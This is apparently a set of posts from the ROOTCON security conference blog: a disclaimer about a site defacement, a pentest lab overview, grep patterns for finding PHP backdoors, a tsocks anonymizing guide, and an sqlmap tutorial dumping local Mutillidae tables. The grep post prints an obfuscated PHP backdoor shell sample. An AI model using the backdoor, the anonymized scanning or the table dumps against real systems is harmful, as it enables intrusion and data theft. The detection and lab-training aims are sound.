Sulit.com.ph hacking incident

Around 15:00 while upgrading the ROOTCON systems one of the ROOTCON Goons reported that there was a hacking incident on Sulit (an online buy and sell portal http://www.sulit.com.ph) the incident was claimed by ROOTCON.ORG and ANONYMOUS.

The Sulit website was replaced by the homepage of Ayosdito.ph, another classified ads portal in the country. Also, the title of the hacked page states: “ROOTCON.ORG We are anonymous. We are Legion. We do not forgive. We do not forget.” 

Sulit.com.ph temporarily shut down its site, and issued an advisory to the public via Twitter @sulit:“A relatively simple attack was made against us. We should be back online and back to normal in a few minutes. To be clear, only a 3rd-party vendor was compromised; our data, application, and servers were unaffected and are intact.”   source: http://infolikes.com/internet/sulit-com-ph-website-hacked/

The ROOTCON core group is composed of high level security professionals, we always ensure we observe proper ethics through responsible full-disclosure if given one of our members found a serious vulnerabilities on certain web application or network. The internet is a free world to live anyone can easily tag and use the name ROOTCON as part of their hacking adventure. ROOTCON is not an underground group we are a legitimate group registered under Security and Exchange Commission, we only provide neutral venue where enterprise, government and underground share best practice, latest trends and cutting edge security techonologies.

On behalf of ROOTCON and its Goons I would like to inform everyone that ROOTCON and its crew does not condone illegal activities like this and we are not part of the hacking incident that occurred. The attack was acknowledged by certain group which is NOT part of ROOTCON. This incident is another heads-up to our security professionals and system administrators to take information security seriously; its a crazy world out there.

Checking out BackTrack Linux 5r2-PenTesting Edition Lab!

What's a BackTrack Linux 5r2-PenTesting Edition Lab? What's with the edition thingy? Isn't BackTrack 5 a pentesting distro already? Why make a pentesting edition?

Maybe these are some of the questions you have in your mind after reading the title and because of that, I would like to give some few points about this edition.

BackTrack Linux 5r2-PenTesting Edition Lab is still the same BackTrack 5 r2 with the same pentesting tools pre-installed in the distribution and has KDE as its Desktop Environment although in backtrack-linux.org you can also choose if you want Gnome or KDE. The only difference is that it includes all of the hosts, network infrastructure, tools, and targets necessary to practice penetration testing for the CPLT or Certified PenTest Laboratory course which is brought to you by PenTest Laboratory and the guys behind PenTest Magazine. 

This edition is a modified version of NETinVM which has a predefined User-mode Linux (UML) based penetration testing targets. When started, this builds an entire network of machines within the VMware virtual machine. The BackTrack Linux distribution is used to provide the tools necessary for completing the lab scenarios. Thus, It is an an all-in-one penetration testing lab environment that pre-configured with:

- A master (base) host utilizing BackTrack Linux 5r2

- A DMZ network with two hosts (targets)

- An “internal” network with one host (target)

- A pre-configured firewall

This pentesting lab is available for free to non-CPLT course students which can be downloaded here. 

Here are some of targets you can attack or play with:

- 10.5.0.1

- 10.5.0.254
- 10.5.1.10

- 10.5.1.254

New CFP Submission

New CFP submission has landed our Inbox.

Topic Details

Presentation Title: Randomized/Obfuscated Text Detection
Synopsis: Recent malwares have been using obfuscation techniques to hide its code from Antivirus software. Making use of emulation is very effective but would probably result in a slow performing machine especially when your valid apps are getting scanned from malwares. Thus, before a full emulation can be done, a static detection can help minimize this slow performance. Detecting the existence of obfuscated text segregates valid applications from malwares. This topic shows different methods on how to determine if a certain text is rather randomized.


Speaker: Reginald Wong
Speaker Background: Reggie has been in the anti-malware industry for almost 10 years doing research on different types of malwares. He currently heads the heuristics team at GFI Software Philippines and aims to detect malwares before they get in to your system.

Simple Kung Fu Grep for Finding Common Web Vulnerabilities & Backdoor Shells

Grep is a powerful command-line tool in Unix and Linux used for searching and probing data sets for lines that matches a regular expression. As a short history, this utility was coded by Ken Thompson on March 3, 1973 for Unix.

Here is a sample or common usage of the said tool for searching a text string pBot in my php file bot.php:

grep pbot bot.php

Alright let's proceed on the objective of this article which is to find common vulnerabilities, backdoor shells and other malicious files using the grep command. For this writeup I'm using grep version 2.9 so if you are using a an older version of GNU grep which is below 2.5.4,  some of the commands in this article may not work although grep. To determine the version of grep you can just type grep -V or grep --version in your terminal. For the other commands and arguments that can be appended to this command line kung fu, you can also type grep --help for more information.

Common Usage for Finding Vulnerabilities
The very reason why most web applications can be easily hacked or pawned because of insecure codes and functions that can be exploited. Take for example command injection or also known as remote code execution in terms of web exploitation, can be possible to a certain website accepts added strings of characters or arguments; the inputs are used as arguments for executing the command in the web server. And because most vulnerable web applications use the shell_exec function. We can use the grep command to search for the shell_exec in as our advantage in our /var/www directory to check for the possible PHP files that are vulnerable to RCE or command injection. Here is the command: 

grep -Rn "shell_exec *( " /var/www

In the image above, we can see that it displays the path of the vulnerable script and the line of the function.

Another example: the include, require, include_once and require_once functions which are common PHP functions in a vulnerable script that is possible for LFI or Local File Inclusion which is a kind of exploit or vulnerability that allows an attacker to inject directory traversal characters on a certain website. 

Again, we can use these functions for searching possible vulnerable scripts in our web server:
grep -Rn "include *(" /var/www
grep -Rn "require *(" /var/www
grep -Rn "include_once *(" /var/www
grep -Rn "require_once *(" /var/www

There are other PHP functions out there that can also be used for finding other web vulnerabilities. Just use Google for other functions :)

Grepping for Backdoor Shells and other Malicious Files

Backdoors are used by web defacers and hackers to maintain access on the web server which allows them to execute arbitrary commands, download files, edit files, and for back-connection. Most backdoor shells use the shell_exec function for command execution. And because most anti-viruses and rootkit scanners can detect backdoor shells, attackers use PHP encoders for evasion. But because functions like base64_decode and eval are used in this technique, they can't escape the wrath of grep. Here is a sample backdoor shell that has upload and system information functions only encoded using Carbylamine PHP Encoder:

<?php function KJnPCP($XZK)

{

$XZK=gzinflate(base64_decode($XZK));

for($i=0;$i<strlen($XZK);$i++)

{

$XZK[$i] = chr(ord($XZK[$i])-1);

}

return $XZK;

}

eval(KJnPCP("U1QEAm4gzkrXzCopSSvVVE3wcAuN0SjJTMvN1YjT0lJMS8ks

0FS2LSxOs1fWBwsnpFWmpaAp1FdWVFfW0le2NQAr1LLBZmhhZiHCyLTypF

zNktLirMKUktwkoDElaMqwmwHSizAEVdCG28GeGwA="));

?>

Aside from shell_exec, base64_decode, and eval; here are other functions used by PHP backdoor shells:

phpinfo
system
php_uname
chmod
fopen
flclose
readfile
edoced_46esab
passthru

Thus you could also easliy grep these functions:

grep -Rn "shell_exec *(" /var/www

grep -Rn "base64_decode *(" /var/www

grep -Rn "phpinfo *(" /var/www

grep -Rn "system *(" /var/www

grep -Rn "php_uname *(" /var/www

grep -Rn "chmod *(" /var/www

grep -Rn "fopen *(" /var/www

grep -Rn "fclose *(" /var/www

grep -Rn "readfile *(" /var/www

grep -Rn "edoced_46esab *(" /var/www

grep -Rn "eval *(" /var/www 
grep -Rn "passthru *(" /var/www 

In my recent analysis, some of these functions are used by IRC bots that have malicious functions like vulnerability scanners, automatic backdoor bots, DoS bots, udpflooder bots, etc.

Oh, and you might wanna add tcpflood and udpflood strings for grepping malicious files too because these are commonly used by IRC bots that have udpflood and tcpflood functions.

What you saw from the image above is a sample of a pBot which is a PHP IRC bot  used by some attackers to initiate DDoS (Distributed Denial of Service) / DoS (Denial of Service) attacks.

We can also list all these common functions by using this command in your terminal:

grep -RPn "(passthru|shell_exec|system|phpinfo|base64_decode|chmod|mkdir|fopen|fclose|readfile|php_uname|eval|tcpflood|udpflood|edoced_46esab) *\(" /var/www

Tunneling the Applications you launched on your Terminal with Tsocks

With some of the applications that don't have proxy configurations or settings, how can we add anonymity to our information gathering, scanning, exploiting phases, etc. like nmapping, using theharvester to gather emails, and many more? It's bad leaving your footprints and logs right?

Well if we have tsocks application then it would be easier since it can send TCP connections automatically through a SOCKS server. If tsocks is not installed on your distro, you can just find it on the software repository. In my case, BackBox Linux has tsocks pre-installed. It can be used for TORifying or tunneling your applications that doesn't have proxy capabilities. Supposed I opened a certain SSH server then binded my localhost at 9191 TCP port, I need to configure /etc/tsocks.conf to:

local = 192.168.0.0/255.255.255.0

server = 127.0.0.1

server_type = 5

server_port = 9191

For TOR, you can just edit the server_port to 9050 because it opens a SOCKS local server at 9050 TCP port.

ssh -D 9191 user@hostname

After configuring tsocks, try to check if tsocks is working good by using the lynx web browser to connect to a website that tells you if you are tunneled or you could also tunnel to another ssh server and issue the command w/who. Be sure to put tsocks before the command. For example:

tsocks lynx whatismyip.net

The IP of the SSH Server ;)

The image below is my original IP without using ssh tunneling:

See the difference ayt!

So if I want to launch theharvester (email harvester) anonymously, I need add tsocks before theharvester command:

tsocks theharvester -d rootcon.org -l 500 -b google

 Now you can run your pentesting tools with added anonymity :)

ROOTCON Easter Egg Solution

The ROOTCON Easter Egg Hunt is over, the hunt was pretty simple and straight forward, you just need to know some of the basic arsenal in your day to day hacking escapade.

The Solution:

Easter Egg #1 = The image show Master Yoda speaking the very familiar line "May the source be with you" followed by "A n00b you are". If you are a geek and into tech, you wouldn't miss watching Star Wars, the line "May the force be with you", was replaced with source, meaning it's giving you a hint that the first egg can be found on the source code of the page egg1.php

Easter Egg #2 = Easter Egg #2 has something to deal with braille, we gave the hint "3 blind mice", so you need to decode the braille dots into letters.

Easter Egg #3 = The ROOTCON Vault, this is pretty easy, you can de-crypt the vault using uudecode, or even Perl can unpack it. The first line of the vault says Begin blah blah, this should give you enough hint how it was being encrypted.

Easter Egg #4 = This Easter Egg is very simply, the picture of Cookie Monster says it all plus the text we placed. "Cookie" Monster. "No Cookie For You". The hint tells you that the next word is hidden under the site cookie. There are a lot of Add-ons, Plugins for browsers that will let you examine what is written off its cookie, Google Chrome has its native tool to do that "Developer Tools"

Easter Egg #5 = Again going back to the "image text" for hints, it says "Undress the ROOTCON Easter Bunny". The easter bunny is an image, to undress or to get information under an image you need to examine the EXIF attributes found on the image.

Only the first one to crack all the codes who will be entitle for the 50% discount offer for the ROOTCON 6 ticket.

Here are the top four winners (Click the image to enlarge)

Dumping Like a Boss - sqlmap 101

SQLmap is one of the most common used tools for web application penetration testing because it is open source and automates an sql injection attacks which also allows you to spawn a shell. It has full support for MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, SQLite, Firebird, Sybase and SAP MaxDB DBMS/ Database Management System. It is also coded in python.

To check all the attributes and options for this tool type sqlmap -h on your terminal.

Suppose we have a vulnerable link after checking it, we append URL target with --dbs to check for the databases:

$ sqlmap -u 'http://127.0.0.1/mutillidae/index.php?page=user-info.php&username=admin&password=&user-info-php-submit-button=View+Account+Details' --dbs

After that we should be able to see the back-end DBMS, web server, and most importantly the databases.

Databases enumerated:

[*] dvwa
[*] information_schema
[*] mysql
[*] owasp10

Now let's check all the tables for the owasp10 database. This is the database for the Mutillidae Web Application.

$ sqlmap -u 'http://127.0.0.1/mutillidae/index.php?page=user-info.php&username=admin&password=&user-info-php-submit-button=View+Account+Details' -D owasp10 --tables

Tables enumerated:
+------------------------+
| accounts
| blogs_table
| captured_data
| credit_cards
| hitlog
| pen_test_tools
+-------------------------+


Now let's try to dump all the columns for the accounts table:

$ sqlmap -u 'http://127.0.0.1/mutillidae/index.php?page=user-info.php&username=admin&password=&user-info-php-submit-button=View+Account+Details' -D owasp10 -T accounts --dump

Right, we got columns cid, mysignature, password and username =)

Similar query: Select * from accounts;

Now's let's try dumping the credit_cards table:

$ sqlmap -u 'http://127.0.0.1/mutillidae/index.php?page=user-info.php&username=admin&password=&user-info-php-submit-button=View+Account+Details' -D owasp10 -T credit_cards --dump

Similar query: Select * from credit_cards;

Well, that should be it! I hope you were able to understand how to use sqlmap to dump the tables of a certain database.
